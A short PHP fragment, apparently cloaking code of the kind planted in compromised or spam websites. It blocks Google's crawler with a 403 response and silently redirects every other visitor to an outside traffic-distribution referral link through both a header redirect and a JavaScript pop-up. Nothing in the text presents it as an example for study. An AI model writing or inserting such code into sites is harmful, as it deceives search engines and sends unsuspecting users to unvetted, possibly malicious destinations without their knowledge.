$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($userAgent, 'Googlebot') !== false) {
    http_response_code(403);
    exit;
} else {
    $referralLink = 'https://traffgoflow.com/9vrD4Dty';
    header("Location: $referralLink");
    echo "<script>window.open('$referralLink', '_blank');</script>";
    exit;
}
?>